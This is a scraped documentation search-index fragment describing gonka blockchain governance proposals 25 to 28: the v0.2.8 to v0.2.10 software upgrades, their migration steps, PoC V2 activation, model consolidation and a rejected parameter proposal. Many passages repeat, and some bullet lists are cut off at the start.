The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
v0.2.8 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted.Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
The on-chain upgrade from version v0.2.7-post1 to v0.2.8 has been successfully deployed and verified on the testnet, including the PoC V2 parameter migration.
Reviewers are encouraged to request access to the testnet environment to validate the upgrade or test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2026-q1/24/full-proposal/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migration tasks: - Burn extra community coins: Burns all coins from the pre_programmed_sale module account (gonka1rmac644w5hjsyxfggz6e4empxf02vegkt3ppec) which were inadvertently created during genesis. - Precompute BLS slot keys: Generates and stores precomputed BLS slot public keys for the current epoch to enable the new optimized verification logic (see PR #609). - Set PoC V2 migration parameters: Configures dual-mode migration with ConfirmationPocV2Enabled=true and PocV2Enabled=false, sets model ID to Qwen/Qwen3-235B-A22B-Instruct-2507-FP8, sequence length to 1024, and statistical test thresholds for V2 validation.
For a smooth transition from PoC V1 to PoC V2, the chain must ensure that the majority of participants have switched to the new MLNode build supporting the Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 model before PoC V2 becomes the main PoC engine. This upgrade enables tracking mode to measure adoption without affecting weights.
After this upgrade: - Regular PoC continues using V1 (on-chain batches, weight enforcement). - First Confirmation PoC per epoch uses V2 for tracking only (no weight/slashing impact). - V2 tracking results allow monitoring adoption before full activation.
MLNode upgrade: - New versions: ghcr.io/product-science/mlnode:3.0.12 (or 3.0.12-blackwell for Blackwell GPUs). - Backward compatible with 3.0.11 — can be upgraded before or after this on-chain upgrade. - Must be upgraded before PoC V2 is fully enabled.
Enabling full PoC V2: - PoC V2 will not activate automatically. - Once adoption is sufficient, a separate governance proposal will set poc_v2_enabled=true. - The epoch when V2 is enabled runs in grace mode (no punishment). - Full V2 enforcement begins the following epoch.
Addresses multiple security vulnerabilities: * SSRF & DoS: Validates InferenceUrl to reject internal IPs and adds timeouts to prevent request hangs. * Vote Flipping: Prevents overwriting of PoC validations by rejecting duplicates. * Batch Size Limits: Enforces bounds on PoC batch sizes to prevent state bloat. * PoC Exclusion: Fixes getInferenceServingNodeIds to correctly exclude inference-serving nodes. * Auth Bypass & Replay: Binds epochId to signatures and validates authorization against the correct epoch. * Thanks to: @ouicate
blst library and precomputing slot public keys.panic and Must calls from chain code to prevent consensus failures.forbidigo) and CI checks to enforce this rule.shopspring/decimal for deterministic calculations (e.g., Dynamic Pricing)./v1/participants endpoint by replacing N gRPC calls with a single blockchain query.totalDistributed was not updated after deducting debt, causing tokens to be lost instead of returned to governance.SendCoins failures) to be swallowed during refunds.ValueDecimal to correctly handle nil values.root_hash and count are recorded on-chain.SubmitPocValidationsV2, PoCV2StoreCommit, MLNodeWeightDistribution.Passed
Proposal ID: 25
Type: Software Upgrade
Submit: 2026-01-28 03:02 UTC
Voting: 2026-01-28 03:02 UTC → 2026-01-29 03:02 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/9241d81b9ed7f33f6864476c2b07c9e833037735/proposals/governance-artifacts/update-v0.2.8/README.md
View on gonka.gg
Upgrade Proposal: v0.2.8
"}, {"location": "proposals/proposals/2026-q1/25/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q1/25/#upgrade-proposal-v028", "title": "Upgrade Proposal: v0.2.8", "text": "This document outlines the proposed changes for on-chain software upgrade v0.2.8. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
v0.2.8 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted.Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
The on-chain upgrade from version v0.2.7-post1 to v0.2.8 has been successfully deployed and verified on the testnet, including the PoC V2 parameter migration.
Reviewers are encouraged to request access to the testnet environment to validate the upgrade or test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2026-q1/25/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migration tasks: - Burn extra community coins: Burns all coins from the pre_programmed_sale module account (gonka1rmac644w5hjsyxfggz6e4empxf02vegkt3ppec) which were inadvertently created during genesis. - Precompute BLS slot keys: Generates and stores precomputed BLS slot public keys for the current epoch to enable the new optimized verification logic (see PR #609). - Set PoC V2 migration parameters: Configures dual-mode migration with ConfirmationPocV2Enabled=true and PocV2Enabled=false, sets model ID to Qwen/Qwen3-235B-A22B-Instruct-2507-FP8, sequence length to 1024, and statistical test thresholds for V2 validation.
For a smooth transition from PoC V1 to PoC V2, the chain must ensure that the majority of participants have switched to the new MLNode build supporting the Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 model before PoC V2 becomes the main PoC engine. This upgrade enables tracking mode to measure adoption without affecting weights.
After this upgrade: - Regular PoC continues using V1 (on-chain batches, weight enforcement). - First Confirmation PoC per epoch uses V2 for tracking only (no weight/slashing impact). - V2 tracking results allow monitoring adoption before full activation.
MLNode upgrade: - New versions: ghcr.io/product-science/mlnode:3.0.12 (or 3.0.12-blackwell for Blackwell GPUs). - Backward compatible with 3.0.11 — can be upgraded before or after this on-chain upgrade. - Must be upgraded before PoC V2 is fully enabled.
Enabling full PoC V2: - PoC V2 will not activate automatically. - Once adoption is sufficient, a separate governance proposal will set poc_v2_enabled=true. - The epoch when V2 is enabled runs in grace mode (no punishment). - Full V2 enforcement begins the following epoch.
Addresses multiple security vulnerabilities: * SSRF & DoS: Validates InferenceUrl to reject internal IPs and adds timeouts to prevent request hangs. * Vote Flipping: Prevents overwriting of PoC validations by rejecting duplicates. * Batch Size Limits: Enforces bounds on PoC batch sizes to prevent state bloat. * PoC Exclusion: Fixes getInferenceServingNodeIds to correctly exclude inference-serving nodes. * Auth Bypass & Replay: Binds epochId to signatures and validates authorization against the correct epoch. * Thanks to: @ouicate
blst library and precomputing slot public keys.panic and Must calls from chain code to prevent consensus failures.forbidigo) and CI checks to enforce this rule.shopspring/decimal for deterministic calculations (e.g., Dynamic Pricing)./v1/participants endpoint by replacing N gRPC calls with a single blockchain query.totalDistributed was not updated after deducting debt, causing tokens to be lost instead of returned to governance.SendCoins failures) to be swallowed during refunds.ValueDecimal to correctly handle nil values.root_hash and count are recorded on-chain.SubmitPocValidationsV2, PoCV2StoreCommit, MLNodeWeightDistribution./cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.8\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"2387000\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.8-post1/inferenced-amd64.zip?checksum=sha256:f0f2e3ee8760e40a78087c98c639a7518bf062138141ed4aec2120f5bc622a67\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.8-post1/decentralized-api-amd64.zip?checksum=sha256:45f28afba4758e54988f61cc358f0ad683e7832ab121ccd54b684fe4c9381a75\\\"\\n }\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis document outlines the proposed changes for on-chain software upgrade v0.2.8. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
v0.2.8 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted.Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
The on-chain upgrade from version v0.2.7-post1 to v0.2.8 has been successfully deployed and verified on the testnet, including the PoC V2 parameter migration.
Reviewers are encouraged to request access to the testnet environment to validate the upgrade or test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2026-q1/25/full-proposal/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migration tasks: - Burn extra community coins: Burns all coins from the pre_programmed_sale module account (gonka1rmac644w5hjsyxfggz6e4empxf02vegkt3ppec) which were inadvertently created during genesis. - Precompute BLS slot keys: Generates and stores precomputed BLS slot public keys for the current epoch to enable the new optimized verification logic (see PR #609). - Set PoC V2 migration parameters: Configures dual-mode migration with ConfirmationPocV2Enabled=true and PocV2Enabled=false, sets model ID to Qwen/Qwen3-235B-A22B-Instruct-2507-FP8, sequence length to 1024, and statistical test thresholds for V2 validation.
For a smooth transition from PoC V1 to PoC V2, the chain must ensure that the majority of participants have switched to the new MLNode build supporting the Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 model before PoC V2 becomes the main PoC engine. This upgrade enables tracking mode to measure adoption without affecting weights.
After this upgrade: - Regular PoC continues using V1 (on-chain batches, weight enforcement). - First Confirmation PoC per epoch uses V2 for tracking only (no weight/slashing impact). - V2 tracking results allow monitoring adoption before full activation.
MLNode upgrade: - New versions: ghcr.io/product-science/mlnode:3.0.12 (or 3.0.12-blackwell for Blackwell GPUs). - Backward compatible with 3.0.11 — can be upgraded before or after this on-chain upgrade. - Must be upgraded before PoC V2 is fully enabled.
Enabling full PoC V2: - PoC V2 will not activate automatically. - Once adoption is sufficient, a separate governance proposal will set poc_v2_enabled=true. - The epoch when V2 is enabled runs in grace mode (no punishment). - Full V2 enforcement begins the following epoch.
Addresses multiple security vulnerabilities: * SSRF & DoS: Validates InferenceUrl to reject internal IPs and adds timeouts to prevent request hangs. * Vote Flipping: Prevents overwriting of PoC validations by rejecting duplicates. * Batch Size Limits: Enforces bounds on PoC batch sizes to prevent state bloat. * PoC Exclusion: Fixes getInferenceServingNodeIds to correctly exclude inference-serving nodes. * Auth Bypass & Replay: Binds epochId to signatures and validates authorization against the correct epoch. * Thanks to: @ouicate
blst library and precomputing slot public keys.panic and Must calls from chain code to prevent consensus failures.forbidigo) and CI checks to enforce this rule.shopspring/decimal for deterministic calculations (e.g., Dynamic Pricing)./v1/participants endpoint by replacing N gRPC calls with a single blockchain query.totalDistributed was not updated after deducting debt, causing tokens to be lost instead of returned to governance.SendCoins failures) to be swallowed during refunds.ValueDecimal to correctly handle nil values.root_hash and count are recorded on-chain.SubmitPocValidationsV2, PoCV2StoreCommit, MLNodeWeightDistribution.Passed
Proposal ID: 26
Type: Software Upgrade
Submit: 2026-01-31 22:02 UTC
Voting: 2026-01-31 22:02 UTC → 2026-02-01 22:02 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/808247ea17c254f0b81cfa67edb579ba249175f0/proposals/governance-artifacts/update-v0.2.9/README.md
View on gonka.gg
Upgrade Proposal: v0.2.9
"}, {"location": "proposals/proposals/2026-q1/26/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q1/26/#upgrade-proposal-v029", "title": "Upgrade Proposal: v0.2.9", "text": "This document outlines the proposed changes for on-chain software upgrade v0.2.9. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
v0.2.9 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted.Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
The on-chain upgrade from version v0.2.8 to v0.2.9 has been successfully deployed and verified on the testnet, including full PoC V2 activation and model consolidation.
Reviewers are encouraged to request access to the testnet environment to validate the upgrade or test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2026-q1/26/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migration tasks: - Model consolidation: Deletes all governance models except Qwen/Qwen3-235B-A22B-Instruct-2507-FP8. - Transfer Agent whitelist: Configures allowed TA addresses for request gating. - Participant access params: Sets registration and allowlist heights to 2475000. - PoC V2 activation: Enables full PoC V2 with WeightScaleFactor=0.262, InferenceValidationCutoff=2, and PocValidationDuration=480. - Suspicious participant removal: Removes 25 participants from allowlist who participated in epoch 155 POC but didn't vote for other participants. - POC slot reset: Clears preserved slots to force full POC participation in the first V2 epoch.
This upgrade enables full PoC V2 — completing the transition from the tracking mode enabled in v0.2.8.
After this upgrade: - PoC V2 is the main proof-of-compute engine with full weight and slashing enforcement. - All nodes must participate in POC (no preserved slots from previous epoch). - Guardian tiebreaker is enabled for undecided POC V2 votes.
Key differences from v0.2.8: - v0.2.8 enabled V2 tracking only (PocV2Enabled=false, ConfirmationPocV2Enabled=true). - v0.2.9 enables full V2 (PocV2Enabled=true, ConfirmationPocV2Enabled=true).
First epoch behavior: - All nodes' POC_SLOT allocations are reset during upgrade. - The epoch when V2 is enabled runs in grace mode (no punishment). - Full V2 enforcement begins the following epoch.
"}, {"location": "proposals/proposals/2026-q1/26/#model-consolidation", "title": "Model Consolidation", "text": "This upgrade consolidates the network to a single model: Qwen/Qwen3-235B-A22B-Instruct-2507-FP8.
Chain side: - All other governance models are deleted during migration.
API side: - Enforced model auto-switch ensures all nodes run qwen235B with --tensor-parallel-size 4. - Nodes with different models are automatically redeployed with the correct model.
This upgrade introduces Transfer Agent (TA) access control to restrict which addresses can process inference requests.
Chain side: - New TransferAgentAccessParams with AllowedTransferAddresses list. - Validation in StartInference and FinishInference messages.
API side: - Early enforcement in /chat/completion endpoint. - Cache synced from chain on every new block for O(1) lookups.
Behavior: - Empty whitelist = all TAs allowed (default). - Non-empty whitelist = only listed TAs can process requests.
"}, {"location": "proposals/proposals/2026-q1/26/#changes", "title": "Changes", "text": ""}, {"location": "proposals/proposals/2026-q1/26/#pr-674-missed-inferences-fix", "title": "PR #674 Missed inferences fix", "text": "Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 with --tensor-parallel-size 4./v1/models endpoint and triggers redeploy on mismatch.StartInference and FinishInference.TimeslotAllocation[1] (POC_SLOT) to false for all nodes.ActiveParticipants and EpochGroupData structures./cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.9\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"2451000\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.9/inferenced-amd64.zip?checksum=sha256:fc628d77aa516896924fbd8f60b8aa6a14161de4582aaef634de62382ea482eb\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.9/decentralized-api-amd64.zip?checksum=sha256:ac1ad369052a8c3d01af4d463c49cdd16fcbecc365d201232e7a2d08af8501c0\\\"\\n }\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis document outlines the proposed changes for on-chain software upgrade v0.2.9. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
v0.2.9 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted.Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
The on-chain upgrade from version v0.2.8 to v0.2.9 has been successfully deployed and verified on the testnet, including full PoC V2 activation and model consolidation.
Reviewers are encouraged to request access to the testnet environment to validate the upgrade or test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2026-q1/26/full-proposal/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migration tasks: - Model consolidation: Deletes all governance models except Qwen/Qwen3-235B-A22B-Instruct-2507-FP8. - Transfer Agent whitelist: Configures allowed TA addresses for request gating. - Participant access params: Sets registration and allowlist heights to 2475000. - PoC V2 activation: Enables full PoC V2 with WeightScaleFactor=0.262, InferenceValidationCutoff=2, and PocValidationDuration=480. - Suspicious participant removal: Removes 25 participants from allowlist who participated in epoch 155 POC but didn't vote for other participants. - POC slot reset: Clears preserved slots to force full POC participation in the first V2 epoch.
This upgrade enables full PoC V2 — completing the transition from the tracking mode enabled in v0.2.8.
After this upgrade: - PoC V2 is the main proof-of-compute engine with full weight and slashing enforcement. - All nodes must participate in POC (no preserved slots from previous epoch). - Guardian tiebreaker is enabled for undecided POC V2 votes.
Key differences from v0.2.8: - v0.2.8 enabled V2 tracking only (PocV2Enabled=false, ConfirmationPocV2Enabled=true). - v0.2.9 enables full V2 (PocV2Enabled=true, ConfirmationPocV2Enabled=true).
First epoch behavior: - All nodes' POC_SLOT allocations are reset during upgrade. - The epoch when V2 is enabled runs in grace mode (no punishment). - Full V2 enforcement begins the following epoch.
"}, {"location": "proposals/proposals/2026-q1/26/full-proposal/#model-consolidation", "title": "Model Consolidation", "text": "This upgrade consolidates the network to a single model: Qwen/Qwen3-235B-A22B-Instruct-2507-FP8.
Chain side: - All other governance models are deleted during migration.
API side: - Enforced model auto-switch ensures all nodes run qwen235B with --tensor-parallel-size 4. - Nodes with different models are automatically redeployed with the correct model.
This upgrade introduces Transfer Agent (TA) access control to restrict which addresses can process inference requests.
Chain side: - New TransferAgentAccessParams with AllowedTransferAddresses list. - Validation in StartInference and FinishInference messages.
API side: - Early enforcement in /chat/completion endpoint. - Cache synced from chain on every new block for O(1) lookups.
Behavior: - Empty whitelist = all TAs allowed (default). - Non-empty whitelist = only listed TAs can process requests.
"}, {"location": "proposals/proposals/2026-q1/26/full-proposal/#changes", "title": "Changes", "text": ""}, {"location": "proposals/proposals/2026-q1/26/full-proposal/#pr-674-missed-inferences-fix", "title": "PR #674 Missed inferences fix", "text": "Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 with --tensor-parallel-size 4./v1/models endpoint and triggers redeploy on mismatch.StartInference and FinishInference.TimeslotAllocation[1] (POC_SLOT) to false for all nodes.ActiveParticipants and EpochGroupData structures.Passed
Proposal ID: 27
Type: Software Upgrade
Submit: 2026-02-17 09:26 UTC
Voting: 2026-02-17 09:26 UTC → 2026-02-18 09:26 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/faa358dec3091e19cb92267556443775431ecc81/proposals/governance-artifacts/update-v0.2.10/README.md
View on gonka.gg
Upgrade Proposal: v0.2.10
"}, {"location": "proposals/proposals/2026-q1/27/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q1/27/#upgrade-proposal-v0210", "title": "Upgrade Proposal: v0.2.10", "text": "This document outlines the proposed changes for on-chain software upgrade v0.2.10. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
To apply the new vLLM model parameters, mlnode must be restarted after the on-chain upgrade. The safest approach is:
docker restart join-mlnode-1\nThe upgrade of MLNode to more reliable versions ghcr.io/product-science/mlnode:3.0.12-post4 / ghcr.io/product-science/mlnode:3.0.12-post4-blackwell is recommended.
v0.2.10 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted.Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
The on-chain upgrade from version v0.2.9 to v0.2.10 has been successfully deployed and verified on the testnet. PoC time-based weight normalization has been validated in the testnet environment. No regression in core functionality or performance has been observed during testing.
Reviewers are encouraged to request access to testnet environments to validate both node behavior and the on-chain upgrade process, or to replay the upgrade on private testnets.
"}, {"location": "proposals/proposals/2026-q1/27/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migrations: - Validation slots default: explicitly sets PocParams.ValidationSlots=0 during migration. This keeps existing O(N^2) validation behavior after upgrade until sampling is enabled by governance parameter update. - PoC normalization default: explicitly sets PocParams.PocNormalizationEnabled=true during migration to enable time-based weight normalization. - Model parameter update: Updates Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 with tool calling args (--enable-auto-tool-choice, --tool-call-parser hermes) and validation threshold 0.958.
This upgrade introduces a new PoC validation mechanism that reduces complexity from O(N^2) to O(N x N_SLOTS) by assigning each participant a fixed sampled set of validators.
Reference design and analysis: proposals/poc/optimize.md
Key points: - Only assigned validators validate each participant when sampling is enabled. - Sampling is deterministic on both chain and API sides (based on validation snapshot + app_hash). - Decision threshold is strict supermajority of assigned slots (>66.7%). - The feature is shipped in this release but disabled by default (ValidationSlots=0) and can be enabled via a governance proposal that changes the ValidationSlots parameter to a non-zero value once rollout conditions are met.
This upgrade normalizes PoC participant weights by actual PoC elapsed time to reduce block-time drift effects and keep weight outcomes consistent with real execution duration.
Key points: - Adds PocParams.PocNormalizationEnabled parameter for time-based normalization control. - Captures generation start and exchange end timestamps in PoCValidationSnapshot. - Applies a normalization factor derived from expected stage duration vs actual elapsed time. - Applies to both regular PoC and confirmation PoC weight calculations. - Enabled by default in this upgrade (PocNormalizationEnabled=true).
To ensure a smooth upgrade transition: - Confirmation PoC will not be triggered for the first 3000 blocks (~5 hours) after upgrade. - Miss/invalid punishment rates are relaxed for the entire grace epoch (binom_test_p0 set to 0.5). - Regular PoC operates normally during the grace period.
"}, {"location": "proposals/proposals/2026-q1/27/#changes", "title": "Changes", "text": ""}, {"location": "proposals/proposals/2026-q1/27/#pr-710-poc-validation-sampling-optimization", "title": "PR #710 PoC Validation Sampling Optimization", "text": "ValidationSlots=0 and includes upgrade-time default of ValidationSlots=0 for safe rollout.PocNormalizationEnabled in PoC params and uses validation snapshot timestamps to compute normalization factor.v0.2.10.--enable-auto-tool-choice, --tool-call-parser hermes).poc_exchange_duration parameter (set to 0 in upgrade). API artifact acceptance now aligns with chain exchange windows using explicit block height checks instead of relying on phase alone. Fixes a gap where chain accepted nonces longer than API.MsgTransferWithVesting RPC and message type in the streamvesting module. Enables sender-to-recipient token transfers with vesting over N epochs (default: 180 epochs when not specified).3650 vesting epochs and max 10 coin denoms per transfer.http.MaxBytesReader and align tests.InvalidateInference./cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.10\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"2712600\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.10/inferenced-amd64.zip?checksum=sha256:b118610cfa1f45f9dfb4eb112a01a91ad886333b73aac49fee20abc0c3f1998a\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.10/decentralized-api-amd64.zip?checksum=sha256:47d6b64424f34242ba12d04aa367f3a7d3933961b55f9d2434b36399d0faf18f\\\"\\n }\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis document outlines the proposed changes for on-chain software upgrade v0.2.10. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
To apply the new vLLM model parameters, mlnode must be restarted after the on-chain upgrade. The safest approach is:
docker restart join-mlnode-1\nThe upgrade of MLNode to more reliable versions ghcr.io/product-science/mlnode:3.0.12-post4 / ghcr.io/product-science/mlnode:3.0.12-post4-blackwell is recommended.
v0.2.10 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted.Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
The on-chain upgrade from version v0.2.9 to v0.2.10 has been successfully deployed and verified on the testnet. PoC time-based weight normalization has been validated in the testnet environment. No regression in core functionality or performance has been observed during testing.
Reviewers are encouraged to request access to testnet environments to validate both node behavior and the on-chain upgrade process, or to replay the upgrade on private testnets.
"}, {"location": "proposals/proposals/2026-q1/27/full-proposal/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migrations: - Validation slots default: explicitly sets PocParams.ValidationSlots=0 during migration. This keeps existing O(N^2) validation behavior after upgrade until sampling is enabled by governance parameter update. - PoC normalization default: explicitly sets PocParams.PocNormalizationEnabled=true during migration to enable time-based weight normalization. - Model parameter update: Updates Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 with tool calling args (--enable-auto-tool-choice, --tool-call-parser hermes) and validation threshold 0.958.
This upgrade introduces a new PoC validation mechanism that reduces complexity from O(N^2) to O(N x N_SLOTS) by assigning each participant a fixed sampled set of validators.
Reference design and analysis: proposals/poc/optimize.md
Key points: - Only assigned validators validate each participant when sampling is enabled. - Sampling is deterministic on both chain and API sides (based on validation snapshot + app_hash). - Decision threshold is strict supermajority of assigned slots (>66.7%). - The feature is shipped in this release but disabled by default (ValidationSlots=0) and can be enabled via a governance proposal that changes the ValidationSlots parameter to a non-zero value once rollout conditions are met.
This upgrade normalizes PoC participant weights by actual PoC elapsed time to reduce block-time drift effects and keep weight outcomes consistent with real execution duration.
Key points: - Adds PocParams.PocNormalizationEnabled parameter for time-based normalization control. - Captures generation start and exchange end timestamps in PoCValidationSnapshot. - Applies a normalization factor derived from expected stage duration vs actual elapsed time. - Applies to both regular PoC and confirmation PoC weight calculations. - Enabled by default in this upgrade (PocNormalizationEnabled=true).
To ensure a smooth upgrade transition: - Confirmation PoC will not be triggered for the first 3000 blocks (~5 hours) after upgrade. - Miss/invalid punishment rates are relaxed for the entire grace epoch (binom_test_p0 set to 0.5). - Regular PoC operates normally during the grace period.
"}, {"location": "proposals/proposals/2026-q1/27/full-proposal/#changes", "title": "Changes", "text": ""}, {"location": "proposals/proposals/2026-q1/27/full-proposal/#pr-710-poc-validation-sampling-optimization", "title": "PR #710 PoC Validation Sampling Optimization", "text": "ValidationSlots=0 and includes upgrade-time default of ValidationSlots=0 for safe rollout.PocNormalizationEnabled in PoC params and uses validation snapshot timestamps to compute normalization factor.v0.2.10.--enable-auto-tool-choice, --tool-call-parser hermes).poc_exchange_duration parameter (set to 0 in upgrade). API artifact acceptance now aligns with chain exchange windows using explicit block height checks instead of relying on phase alone. Fixes a gap where chain accepted nonces longer than API.MsgTransferWithVesting RPC and message type in the streamvesting module. Enables sender-to-recipient token transfers with vesting over N epochs (default: 180 epochs when not specified).3650 vesting epochs and max 10 coin denoms per transfer.http.MaxBytesReader and align tests.InvalidateInference.Rejected
Proposal ID: 28
Type: Update Params
Submit: 2026-02-18 07:27 UTC
Voting: 2026-02-18 07:27 UTC → 2026-02-19 07:27 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Failed reason: proposal did not get enough votes to pass
View on gonka.gg
0.032 GNK per 1 unit of power, 0.01% slashing for miss rate or jail, 0.5% slashing for invalid inference
